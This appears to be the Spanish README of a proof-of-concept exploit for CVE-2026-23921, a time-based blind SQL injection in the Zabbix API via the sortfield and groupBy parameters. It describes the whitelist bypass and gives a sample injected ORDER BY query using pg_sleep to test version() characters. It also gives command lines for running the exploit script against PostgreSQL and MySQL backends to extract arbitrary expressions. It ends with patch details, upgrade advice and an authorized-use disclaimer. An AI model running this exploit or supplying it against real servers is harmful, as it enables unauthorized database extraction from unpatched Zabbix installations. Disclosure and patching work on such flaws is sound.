
Prueba de concepto de exploit para CVE-2026-23921, una inyección SQL ciega basada en tiempo en la API de Zabbix a través del parámetro sortfield, que permite la extracción de datos de backends PostgreSQL y MySQL.
Versiones afectadas: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: Alto
Tipo: Inyección SQL ciega basada en tiempo mediante el parámetro sortfield
Autenticación requerida: Sí (cualquier usuario de la API; Super Admin evita las uniones de permisos)
Los servicios heredados de la API de Zabbix (host.get, trigger.get, item.get, etc.) aceptan un parámetro groupBy no declarado a través de zbx_array_merge(). En CApiService::applyQuerySortOptions(), el array groupBy reemplaza la lista blanca codificada que se utiliza para validar . Un atacante pasa la misma carga útil SQL tanto en como en — la validación pasa contra la lista controlada por el atacante, y la carga útil llega a sin escaparse.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] y sortfield: "hostid,(SELECT IF(...))--" con countOutput: truezbx_array_merge conserva la clave groupBy no declaradaapplyQuerySortOptions construye la lista blanca a partir de groupBy → la validación pasaapplyQuerySortField concatena la carga útil en ORDER BYcreateSelectQueryFromParts construye el SQL final sin escaparseSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Actualice a Zabbix 7.0.22 / 7.2.15 / 7.4.6 o posterior.
El parche reemplaza array_merge($options['groupBy'], ...) con array_intersect($this->sortColumns, $options['groupBy']) para que los valores proporcionados por el atacante nunca entren en la lista blanca. Se añadieron comprobaciones de tipo adicionales is_string() e is_array() como defensa en profundidad.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. Úsela únicamente contra sistemas que posea o para los que tenga permiso escrito explícito de probar.